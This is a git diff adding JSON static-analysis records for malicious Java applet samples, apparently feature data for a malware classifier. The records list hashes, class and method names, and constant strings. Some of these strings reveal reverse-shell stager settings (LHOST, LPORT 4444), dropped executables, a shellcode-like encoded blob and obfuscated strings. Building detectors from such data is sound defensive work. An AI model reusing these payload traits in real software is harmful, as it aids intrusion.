b/java_classification/data/malicious/ed38315b7c40e4988f56b2afbee856cef2f3c83f96b8a2dd2a717a918a03b10a.results new file mode 100755 index 0000000..3582984 --- /dev/null +++ b/java_classification/data/malicious/ed38315b7c40e4988f56b2afbee856cef2f3c83f96b8a2dd2a717a918a03b10a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "yKqIIcdsjc/rTBIqfp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "be3111b7-92a2-406d-8c2a-2ad1ddfa0daf", "verbose": {"java": {"constant strings": ["yKqIIcdsjc.rTBIqfp", ".class", "/yKqIIcdsjc.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "yKqIIcdsjc.dat", "URL", "", "https:", "yKqIIcdsjc/rTBIqfpTrustManager.class", "rTBIqfpTrustManager.class", "AESPassword", "yKqIIcdsjc/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "yKqIIcdsjc.rTBIqfpTrustManager", "useFor", "java.net.URLConnection", "yKqIIcdsjc.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "rTBIqfp -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "21d80cfb5069caa76c41047486eaa67d41b68ac2", "file_name": "java_malicious/ed38315b7c40e4988f56b2afbee856cef2f3c83f96b8a2dd2a717a918a03b10a", "_id": "be3111b7-92a2-406d-8c2a-2ad1ddfa0daf", "score": 0, "entropy": 6.14749631182133, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tM2DUB/+WGHThmEOxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1tC/QtmHyNvpvUrKYvCkgHzbDrDF", "sha256": "ed38315b7c40e4988f56b2afbee856cef2f3c83f96b8a2dd2a717a918a03b10a", "md5": "d2e6b84bdebea766c8082e0c65aac5b2", "parent_sha256": "ed38315b7c40e4988f56b2afbee856cef2f3c83f96b8a2dd2a717a918a03b10a"}} \ No newline at end of file diff --git a/java_classification/data/malicious/edbf4b42453f8a0f64a7b13188c266fd6660063b6370ede9ddf28f63867318ad.results b/java_classification/data/malicious/edbf4b42453f8a0f64a7b13188c266fd6660063b6370ede9ddf28f63867318ad.results new file mode 100755 index 0000000..c03afe3 --- /dev/null +++ b/java_classification/data/malicious/edbf4b42453f8a0f64a7b13188c266fd6660063b6370ede9ddf28f63867318ad.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/cbnlhfkjpfjux", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "ftctngvvhxrfjc", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "ede41164-f3a3-4208-83fa-392548169b4f", "metadata": {"mimetype": "application/x-java-applet", "sha1": "92ba10c5da48e7de124535b95ec22972e31b3dd5", "file_name": "java_malicious/edbf4b42453f8a0f64a7b13188c266fd6660063b6370ede9ddf28f63867318ad", "_id": "ede41164-f3a3-4208-83fa-392548169b4f", "score": 0, "entropy": 5.199172494550498, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6941, "ssdeep": "96:KMHpqfZYswjNDujPVYq01o8p/2Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:T4faNDuWqQp/xhi/To55UTYwa5hGX1", "sha256": "edbf4b42453f8a0f64a7b13188c266fd6660063b6370ede9ddf28f63867318ad", "md5": "75eda0ebe9beb74844c2984414a7fc1e", "parent_sha256": "edbf4b42453f8a0f64a7b13188c266fd6660063b6370ede9ddf28f63867318ad"}} \ No newline at end of file diff --git a/java_classification/data/malicious/edfb431a2f50af17440dd284379fea3ef1da3ea1594593966509c09043b38bf0.results b/java_classification/data/malicious/edfb431a2f50af17440dd284379fea3ef1da3ea1594593966509c09043b38bf0.results new file mode 100755 index 0000000..2d3c0bc --- /dev/null +++ b/java_classification/data/malicious/edfb431a2f50af17440dd284379fea3ef1da3ea1594593966509c09043b38bf0.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "GltNBkFyUu/DXtYFqV", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "bc7991d8-a04c-4cb5-bebc-82d570173c0e", "verbose": {"java": {"constant strings": ["GltNBkFyUu.DXtYFqV", ".class", "/GltNBkFyUu.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "GltNBkFyUu.dat", "URL", "", "https:", "GltNBkFyUu/DXtYFqVTrustManager.class", "DXtYFqVTrustManager.class", "AESPassword", "GltNBkFyUu/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "GltNBkFyUu.DXtYFqVTrustManager", "useFor", "java.net.URLConnection", "GltNBkFyUu.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "DXtYFqV -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ebc1f0662811f48c90706cfbefacc9f99b6943e6", "file_name": "java_malicious/edfb431a2f50af17440dd284379fea3ef1da3ea1594593966509c09043b38bf0", "_id": "bc7991d8-a04c-4cb5-bebc-82d570173c0e", "score": 0, "entropy": 6.1539269974153825, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "192:gmO1tlhz1tmRayNvpvUrKYvCkgHzbDrDF:5+hzByNvZU+YvaH3B", "sha256": "edfb431a2f50af17440dd284379fea3ef1da3ea1594593966509c09043b38bf0", "md5": "11f1cfaf5194949dcdf94c606b438e26", "parent_sha256": "edfb431a2f50af17440dd284379fea3ef1da3ea1594593966509c09043b38bf0"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ee073ce83e14bd76f1571c9030d9f9c25fd0c1a3ccdc8ce0759a2547c08c4061.results b/java_classification/data/malicious/ee073ce83e14bd76f1571c9030d9f9c25fd0c1a3ccdc8ce0759a2547c08c4061.results new file mode 100755 index 0000000..666a616 --- /dev/null +++ b/java_classification/data/malicious/ee073ce83e14bd76f1571c9030d9f9c25fd0c1a3ccdc8ce0759a2547c08c4061.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 86}}, "_id": "e339077e-4c8b-4469-b105-1a7cad5a3d39", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pN,pN,pN,pJ,0L,PL,PZ,0X,iy,kg,pW,pC,0q,OE,4m,qp,0S,0g,pu,PN,kC,pT,Ln,kP,pG,ln,MN,kp,he,pO,pc,M6,lp,3P,tT,Co,fh,kL,3n,kB,H3,8n,k8,wQ,zf,dp,YM,8N,oW,pu,Pw,pX,bZ,Ys,Xr,OR,NW,pc,03,X0,uQ,bp,lp,mC,dK,Or,6n,kM,8m,8P,yu,Pw,pu,Pn,kK,g3,wo,p5,oS,0r,UK,Jq,Wb,ws,wm,PG,Ow,pt,5Y,jN,kH,oQ,O4,sh,Im,QX,lw,te,Q5,PW,pn,kK,ls,aR,rP,S3,Xf,dU,QW,ps,0K,Op,VT,Lp,Z0,Y6,1s,bL,K6,bp,Sq,SO,pu,k5,PC,E8,zM,Qc,KY,l6,N3,Ut,8P,eD,5U,Sk,3j,Kf,hM,Yg,so,7c,sw,tV,N5,5R,XU,5h,FC,s7,xw,pq,Km,Zy,Q5,Tf,PN,hG,53,0v,Sy,PP,PP,P2,ss,gP,Py,o2,vD,Po,sK,Hu,PR,US,6S,Ze,QQ,CY,or,vU,TP,Z0,YM,So,2f,dr,ao,p6,ZU,Pr,Ul,tK,O2,vu,Xr,qQ,Fl,Kd,5w,Ll,Kq,dV,U1,hu,Sj,UP,Vl,KB,Vu,pW,s9,ev,SZ,iq,Yq,QN,Mf,c9,Uu,cy,KV,oo,Nb,0e,hZ,R4,4V,hO,1X,KT,MU,Sy,Jg,0Z,Kz,Qw,KU,OR,U9,wC,nn,kQ,N1,45,Sk,mr,Fn,kf,lp,Kl,KS,ne,LW,sY,Mn,k7,tL,KU,Sk,ul,kq,Nf,9h,CZ,HE,PY,o9,oK,ON,nB,nV,nz,Lm,HK,Nl,JF,nS,NZ,xM,2P,sf,Si,Zn,jQ,KV,V5,Jd,o0,p1,z4,6P,br,F7,p2,H4,4T,4p,pW,Jv,Od,or,WP,eS,TT,33,Q2,Zf,NQ,y0,ne,6B,Of,OP,cq,wQ,yT,m3,Rc,YP,nt,oF,Qd,pU,iT,yu,ap,1v,Ob,NP,0v,Pv,Xv,QT,pF,V4,rP,0f,Q4,sV,Pf,TB,RV,PP,40,0W,Is,zv,Q5,av,P6,P4,pP,6t,pv,QP,Rv,Ye,bb,CD,q6,VE,dt,uE,3S,hp,5v,Qa,sa,q3,Tf,Pw,Gs,Tq,I6,Qq,qp,2q,qr,Dp,52,Fd,pR,zf,PT,qD,pv,Pa,vD,pw,H6,P5,PG,pA,", "41,25,25,25,25", ",", "", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "06ac82d370325cdf41c72a0b9921ec2586284964", "file_name": "java_malicious/ee073ce83e14bd76f1571c9030d9f9c25fd0c1a3ccdc8ce0759a2547c08c4061", "_id": "e339077e-4c8b-4469-b105-1a7cad5a3d39", "score": 0, "entropy": 6.1271362400507225, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3162, "ssdeep": "96:HFl82EgOGE/rmc9jMB+YTDE2iTULNkez1zNjWZ:ll82EgBciPI4Q5ApnJNiZ", "sha256": "ee073ce83e14bd76f1571c9030d9f9c25fd0c1a3ccdc8ce0759a2547c08c4061", "md5": "827b18d029b23d5b1583e2abbf4320ce", "parent_sha256": "ee073ce83e14bd76f1571c9030d9f9c25fd0c1a3ccdc8ce0759a2547c08c4061"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ee1f1e3e7b36baf790e685e6cce5adbc4400c2c9a64311e5c74678eaf6c4f315.results b/java_classification/data/malicious/ee1f1e3e7b36baf790e685e6cce5adbc4400c2c9a64311e5c74678eaf6c4f315.results new file mode 100755 index 0000000..ef97179 --- /dev/null +++ b/java_classification/data/malicious/ee1f1e3e7b36baf790e685e6cce5adbc4400c2c9a64311e5c74678eaf6c4f315.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "hkxDftNXV.java", "class_name": "hkxDftNXV", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "sHxtvsVg", "npCuSyas", "eOTlSEe"], "minor_version": 0, "const_pool_count": 134}}, "_id": "1cd8b97e-cdfd-4591-be13-8cf68338d05a", "verbose": {"java": {"constant strings": ["#(?(g\\',=g\\x1c\\x1b\\x05", "&9,\\'\\x1a=;,($", "#(?(g &g\\x0f %,\\x06<=9<=\\x1a=;,($", ">; =,", "close", ",1,*", ";,.:?;z{id:ik", "k", "", "#(?(g &g=$9- ;", "g,1,"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9ccf8874e89a97b0fc9f16a9b9dce4b9ec2bb96e", "file_name": "java_malicious/ee1f1e3e7b36baf790e685e6cce5adbc4400c2c9a64311e5c74678eaf6c4f315", "_id": "1cd8b97e-cdfd-4591-be13-8cf68338d05a", "score": 0, "entropy": 5.861727879073504, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2536, "ssdeep": "48:zg7lyFlMXYydN97XCCkBjVs+ji1GinUH819LgpFiI4:zcwFls09CN1vUc167z4", "sha256": "ee1f1e3e7b36baf790e685e6cce5adbc4400c2c9a64311e5c74678eaf6c4f315", "md5": "999e7bf09f550d29adc6ca4c2a6291cc", "parent_sha256": "ee1f1e3e7b36baf790e685e6cce5adbc4400c2c9a64311e5c74678eaf6c4f315"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ee6dbb8c61b57058b8ad06705561737866849752392763c184307728b4f4f1fe.results b/java_classification/data/malicious/ee6dbb8c61b57058b8ad06705561737866849752392763c184307728b4f4f1fe.results new file mode 100755 index 0000000..31154f1 --- /dev/null +++ b/java_classification/data/malicious/ee6dbb8c61b57058b8ad06705561737866849752392763c184307728b4f4f1fe.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "x/s", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "init", "a", "b", "a"], "minor_version": 0, "const_pool_count": 216}}, "_id": "a5328671-84fe-4744-8914-ec20156b9c48", "verbose": {"java": {"constant strings": ["", "/", "1WDyG", "358twyjD", "3FU4vL1tlGVCoNCi6j", "438D7hVlF6gMcE", "5LphG", "7bUwx", "8L8xqyTnvWwux", "BvXn47Fu5nd92A8ancuH", "C9G96k", "CjaU9BwIhEUmsM", "EgxuMX8yI9Yc", "FGaI6YfTG", "FwUGz3HAO4d", "GomK1YIhg1MqmbZCcFAG", "Heg2jKTTpNd", "Mdi2XiONHye1v", "NZ2KGYYiD6vzD8Rmo", "OsVPRbbXsH", "PVOVP99yeCYwZXIX0", "Pn3hBVRKbZFHXuv", "PoHgiPm0dCDXd2N0P", "RMKI0EFVOBgM6qa", "Rw3gW4", "Sas1Ls5dxIjtUo0", "TnEBazZ", "UGUmq", "VVeTscnV", "W1qHzEANya", "WP7C5b1YVr", "WnGrbGBtb", "Y0jYeGf", "c5TKhfYUq7yk", "cgdaCZ", "coqDYDUi2p", "fb5GaZDcuEm", "gfHeELANkhhgds", "h4wjIOvu", "hGqdi", "j2cqU", "jvd80lGd5CQAKMu7", "kKk1OBv3bGdQifcqgYn", "llW5YKd4tY", "mKldATGEPx0iY3OQhlb", "mdKQc37CEbHITp", "pQoXP0eiUwC0Q", "qDkPOoUuvnqLZ7aUqj", "rg4oa6hu1r", "riRyh2C5Gsc9KYRs", "s", "sBDBsI", "sNEnRu8xse7RewDI", "sXHYX07Ug5LZt7BGq", "s_", "svFNHAfqlF5w3ZuyWG", "v6KqbrSuPF", "xsxOVybkpVlS", "zKoGX0hEjX5L8uzD", "zrnv1dgzEcUiC8kyCaA"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "45cb557df0d6ca514829e3f8dc3052411eeb6a3f", "file_name": "java_malicious/ee6dbb8c61b57058b8ad06705561737866849752392763c184307728b4f4f1fe", "_id": "a5328671-84fe-4744-8914-ec20156b9c48", "score": 0, "entropy": 6.046077982250155, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2973, "ssdeep": "48:Prx9lrtrGM/PxtLPjsoHHE6SxHOxGZdhG5Fba8WZ1qre/Qn6yzFHo9/KIZ/mfzft:X/rdEeeZ14e/Qn61SIZ/gfbuNgedo", "sha256": "ee6dbb8c61b57058b8ad06705561737866849752392763c184307728b4f4f1fe", "md5": "b409ad675af37f7c9da5f24e8588e4c1", "parent_sha256": "ee6dbb8c61b57058b8ad06705561737866849752392763c184307728b4f4f1fe"}} \ No newline at end of file diff --git a/java_classification/data/malicious/f00cad1b8628233ea1299ae0b775a62fade00381a32fb35e748c495cee55684b.results b/java_classification/data/malicious/f00cad1b8628233ea1299ae0b775a62fade00381a32fb35e748c495cee55684b.results new file mode 100755 index 0000000..88fe61a --- /dev/null +++ b/java_classification/data/malicious/f00cad1b8628233ea1299ae0b775a62fade00381a32fb35e748c495cee55684b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "APfPyqs.java", "class_name": "kypihA/APfPyqs", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "cBAQW", "ZZlJMqaVe", "leGNYx", "JjdZM", "oqonlwlg", "lXiRvkK", "FZuqGHVlf", "QcxleGe"], "minor_version": 0, "const_pool_count": 146}}, "_id": "1b251e62-5cb6-43c4-b73c-79dc31f4842c", "verbose": {"java": {"constant strings": ["FDD", "JH]O", "Z\\\\Z\\\\", "XIZ[J]O", "", "\\\\ZYYWK", "XI_J]O", "\\\\ZWK", "XIJ]O", "J]H", "K\\\\IJLFDEK\\\\C]H\\x0eE@HC"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "34681420ae837470f961842ca84e0e90579863b6", "file_name": "java_malicious/f00cad1b8628233ea1299ae0b775a62fade00381a32fb35e748c495cee55684b", "_id": "1b251e62-5cb6-43c4-b73c-79dc31f4842c", "score": 0, "entropy": 5.885081128454357, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4243, "ssdeep": "96:gMsRfX/Flvdc0C+e59AR/hjeg8ySQ62GYCM8nZn:gMsRfXtlvdcZ+m9M/lhWz2FCR", "sha256": "f00cad1b8628233ea1299ae0b775a62fade00381a32fb35e748c495cee55684b", "md5": "73813b0b5a26deeb85b267b3988bccd4", "parent_sha256": "f00cad1b8628233ea1299ae0b775a62fade00381a32fb35e748c495cee55684b"}} \ No newline at end of file diff --git a/java_classification/data/malicious/f0ebf4a287ae05e7940609d43035b560a9714ee552b4155c006f93fa7685798a.results b/java_classification/data/malicious/f0ebf4a287ae05e7940609d43035b560a9714ee552b4155c006f93fa7685798a.results new file mode 100755 index 0000000..a95ceba --- /dev/null +++ b/java_classification/data/malicious/f0ebf4a287ae05e7940609d43035b560a9714ee552b4155c006f93fa7685798a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "a98b34f2.java", "class_name": "a98b34f2", "access_permissions": ["ACC_PUBLIC"], "major_version": 45, "method_names": ["", "seek", "seek", "update"], "minor_version": 3, "const_pool_count": 34}}, "_id": "e3ebfe71-6f96-4465-92c9-aef1a510b115", "metadata": {"mimetype": "application/x-java-applet", "sha1": "660820c29b57115d750547c11333bbebfc29e8bb", "file_name": "java_malicious/f0ebf4a287ae05e7940609d43035b560a9714ee552b4155c006f93fa7685798a", "_id": "e3ebfe71-6f96-4465-92c9-aef1a510b115", "score": 0, "entropy": 5.048442453989849, "libmagic": "compiled Java class data, version 45.3", "file_size": 597, "ssdeep": "12:cnjYKpMykuJ4GLy1vMgeD4GwZp+S1/4GkRtJXb8e0aOefWfV+/l:cnEKpSuJ44y1o4X+84TLZbZ0aIc", "sha256": "f0ebf4a287ae05e7940609d43035b560a9714ee552b4155c006f93fa7685798a", "md5": "607962068f4539aff4b081c6cb2b83d5", "parent_sha256": "f0ebf4a287ae05e7940609d43035b560a9714ee552b4155c006f93fa7685798a"}} \ No newline at end of file diff --git a/java_classification/data/malicious/f1adf25c934c1a46fa4fe29c2b1d57bf49a6a3d561f886739e667c6c937295b7.results b/java_classification/data/malicious/f1adf25c934c1a46fa4fe29c2b1d57bf49a6a3d561f886739e667c6c937295b7.results new file mode 100755 index 0000000..8650046 --- /dev/null +++ b/java_classification/data/malicious/f1adf25c934c1a46fa4fe29c2b1d57bf49a6a3d561f886739e667c6c937295b7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/editzwr", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "qnfyvtduifgov", "gszcqyndkzxzxlunpc", "puatdmatbllwzse", "cvccwnhojbqgydcipr", "hohfyvikpmkwmvqjd", "ladvsxrscwlxakyxr", "iyhvxwkhwgdfdnqicco", "czerhsoibgmmrhwwwh", "thtopqafmad", "kbbqyhbiucxppebbkb", "marfbvzwgagorwh", "luhrhxgqvix", "njzuavkquezayxktx", "fqtvamekjpyksvtxohm", "upcrafgrokdrrlodjd", "cnwttdedvalcuhzgu"], "minor_version": 0, "const_pool_count": 179}}, "_id": "0fad2fea-75f0-4228-b94b-be6653ef07e6", "verbose": {"java": {"constant strings": ["ctvgdvcissuymutukuzpjjc", "", "ahdbxcw", "uqzqncphotpovjcn", "jajynpgifzttpmodt", "kvlmcseoqcerdqnclstgdpgifhv", "uhhcjsizrfppjnbhjgxex", "wmbfktzdnrqxbagsqtaadcugkm", "fnjlrrgikfivajapvfsntujcf", "rumyynyikgd", "kcbiwbsrdmjlzsqpdwq", "cesepozcvchkvidxszjg", "tqtxx", "dwpwbtpnhajxgbcfulkwogckcriqd", "zhmgjclt", "mddotqkhmlqxqbpgijrmcsvke", "yvvakopfxnjzgiaiwgmzjtk", "uydmytulndwjorcyelpxfp", "cnwvf", "zfrzmletkfuqm", "qxlllabzqaqhusqajklga", "kuglhlyboqmwktnsroemnbfazgh", "vgfblnesnjxamzfptvnhwmwlj", "zygpltwzczcdf", "koyacaqvfejnwmegjdlojngmbojbqe", "ezbhnwvhkxdjddroerybnvlkusqnkq", "dsvrlkwwucvvmlodauakxyqdkkjh", "tfjcogtghnqfownvvzvgvymyz", "swfiqumxbaknawydrsrgstn", "cvigfsrzdkhsottzrvrgvkxkgogms", "chadqpxm", "hnbvklgtiub", "fjiwbwkxmqqczxdofavfjhdbd", "fmlvfdyslkccklzmihsmvhjrcsrr", "mhhymeweiahtcmeftxilyup", "ocp", "zntdyahshvmfapnpcgdmrfqlzaoke", "gxyxuldmlsojzxrpfjfj", "ahejncxayhw", "lj", "ooegfnmcacddkyhdnjkwpofsvog", "p", "acvnfeoywqpokkrdlyife", "fdccllqkfzzeyzdmdph", "yrit", "ahfiudsovnhssqhkfs", "xrlhoxfppwjcurfrnj", "waepeonvacze", "cxikqjctwrenlptvhter", "wthqep", "dezt", "fpzghmljrosjwxvqnaclry", "ypjjiybu", "pcgcggunuzpphtdgkxduzcw", "gojnarbwiblz", "olwixieoso"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e06b76792356fab26bbfdada79a568ba5370890c", "file_name": "java_malicious/f1adf25c934c1a46fa4fe29c2b1d57bf49a6a3d561f886739e667c6c937295b7", "_id": "0fad2fea-75f0-4228-b94b-be6653ef07e6", "score": 0, "entropy": 5.597161748561106, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4524, "ssdeep": "96:MrFJ/rZxjcwZ8NCQNLYYHH4FThYTxapm/mYaBRTXmXoW/oX:CNvn+NRNL7YFTakpm/mYaLXm4OoX", "sha256": "f1adf25c934c1a46fa4fe29c2b1d57bf49a6a3d561f886739e667c6c937295b7", "md5": "2020716fa507d89f9c66d77f579e9ef2", "parent_sha256": "f1adf25c934c1a46fa4fe29c2b1d57bf49a6a3d561f886739e667c6c937295b7"}} \ No newline at end of file diff --git a/java_classification/data/malicious/f1f2cefef4aa45eb41dae70356b45cee1e55cb19b2db2c6c474511ee90b391c5.results b/java_classification/data/malicious/f1f2cefef4aa45eb41dae70356b45cee1e55cb19b2db2c6c474511ee90b391c5.results new file mode 100755 index 0000000..0c2cf9f --- /dev/null +++ b/java_classification/data/malicious/f1f2cefef4aa45eb41dae70356b45cee1e55cb19b2db2c6c474511ee90b391c5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "FfWOwFP.java", "class_name": "FfWOwFP", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "yXPaozP"], "minor_version": 0, "const_pool_count": 88}}, "_id": "85c8ba62-7f00-4848-a0d3-7e1322ecf81d", "verbose": {"java": {"constant strings": ["\\n\\x01\\x16\\x01N\\x13\\x05\\x03\\x15\\x12\\t\\x14\\x19N0\\x05\\x12\\r\\t\\x13\\x13\\t\\x0f\\x0e\\x13", "\\n\\x01\\x16\\x01N\\x13\\x05\\x03\\x15\\x12\\t\\x14\\x19N!\\x0c\\x0c0\\x05\\x12\\r\\t\\x13\\x13\\t\\x0f\\x0e", "\\x01\\x04\\x04", "\\n\\x01\\x16\\x01N\\x13\\x05\\x03\\x15\\x12\\t\\x14\\x19N0\\x05\\x12\\r\\t\\x13\\x13\\t\\x0f\\x0e", "\\n\\x01\\x16\\x01N\\x0e\\x05\\x14N52,", "\\x06\\t\\x0c\\x05ZOOO", "\\n\\x01\\x16\\x01N\\x13\\x05\\x03\\x15\\x12\\t\\x14\\x19N\\x03\\x05\\x12\\x14N#\\x05\\x12\\x14\\t\\x06\\t\\x03\\x01\\x14\\x05", "\\n\\x01\\x16\\x01N\\x13\\x05\\x03\\x15\\x12\\t\\x14\\x19N#\\x0f\\x04\\x053\\x0f\\x15\\x12\\x03\\x05", "\\n\\x01\\x16\\x01N\\x13\\x05\\x03\\x15\\x12\\t\\x14\\x19N0\\x05\\x12\\r\\t\\x13\\x13\\t\\x0f\\x0e#\\x0f\\x0c\\x0c\\x05\\x03\\x14\\t\\x0f\\x0e", "\\n\\x01\\x16\\x01N\\x13\\x05\\x03\\x15\\x12\\t\\x14\\x19N0\\x12\\x0f\\x14\\x05\\x03\\x14\\t\\x0f\\x0e$\\x0f\\r\\x01\\t\\x0e", "\\n\\x01\\x16\\x01N\\x13\\x05\\x03\\x15\\x12\\t\\x14\\x19N!\\x03\\x03\\x05\\x13\\x13#\\x0f\\x0e\\x14\\x12\\x0f\\x0c#\\x0f\\x0e\\x14\\x05\\x18\\x14"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c1049d156bd1f703a379d338a98c756943e039ca", "file_name": "java_malicious/f1f2cefef4aa45eb41dae70356b45cee1e55cb19b2db2c6c474511ee90b391c5", "_id": "85c8ba62-7f00-4848-a0d3-7e1322ecf81d", "score": 0, "entropy": 5.809925587126244, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2094, "ssdeep": "48:29v3yFlQvYCqJFl1z8YTw8CPgkmz7FEjg0SzMik8C6rwm:2BiFlGYjJFz8YTw8CPhUF4S68C6rp", "sha256": "f1f2cefef4aa45eb41dae70356b45cee1e55cb19b2db2c6c474511ee90b391c5", "md5": "9e62b9549f49221dedd898d247bae74c", "parent_sha256": "f1f2cefef4aa45eb41dae70356b45cee1e55cb19b2db2c6c474511ee90b391c5"}} \ No newline at end of file diff --git a/java_classification/data/malicious/f214ca1fa4e73d5c0ec26c99ae3222c2dc9a436aa4c2fcd8b2ba93b9d076a3c5.results b/java_classification/data/malicious/f214ca1fa4e73d5c0ec26c99ae3222c2dc9a436aa4c2fcd8b2ba93b9d076a3c5.results new file mode 100755 index 0000000..19465bf --- /dev/null +++ b/java_classification/data/malicious/f214ca1fa4e73d5c0ec26c99ae3222c2dc9a436aa4c2fcd8b2ba93b9d076a3c5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "JavaStr.java", "class_name": "JavaStr", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "", "log", "init", "toHex", "somebody", "func2"], "minor_version": 0, "const_pool_count": 336}}, "_id": "0eebd671-9dc3-4803-bdef-a43001f2b1e7", "verbose": {"java": {"constant strings": ["", "os.arch", "64", "&s=", "&d=", "data", "no", "setSecurityManager", "file:///", "java.io.tmpdir", "hmemsdb.exe", "&s=2&d="]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "35e937e2ceeb906e854863b8f9611f2859c204c9", "file_name": "java_malicious/f214ca1fa4e73d5c0ec26c99ae3222c2dc9a436aa4c2fcd8b2ba93b9d076a3c5", "_id": "0eebd671-9dc3-4803-bdef-a43001f2b1e7", "score": 0, "entropy": 5.919908275038774, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 6768, "ssdeep": "96:oWPlMP4moGBw6qoAYLIYpXW6UE5EU7VcPSVMZG30owcXXP/:XlMwm/Bw6FTZVGTGCSVMZvcHX", "sha256": "f214ca1fa4e73d5c0ec26c99ae3222c2dc9a436aa4c2fcd8b2ba93b9d076a3c5", "md5": "ffe4b36bd12c73eb5c2eacbed0066449", "parent_sha256": "f214ca1fa4e73d5c0ec26c99ae3222c2dc9a436aa4c2fcd8b2ba93b9d076a3c5"}} \ No newline at end of file diff --git a/java_classification/data/malicious/f21e35bc4c7ad29aa9bc0b85b4c04bb430b2cfd64c3537881ccf4f938ae8a5c6.results b/java_classification/data/malicious/f21e35bc4c7ad29aa9bc0b85b4c04bb430b2cfd64c3537881ccf4f938ae8a5c6.results new file mode 100755 index 0000000..3e5e608 --- /dev/null +++ b/java_classification/data/malicious/f21e35bc4c7ad29aa9bc0b85b4c04bb430b2cfd64c3537881ccf4f938ae8a5c6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "0d623ab1-db8d-4271-ba40-d83d556dd0c8", "verbose": {"java": {"constant strings": 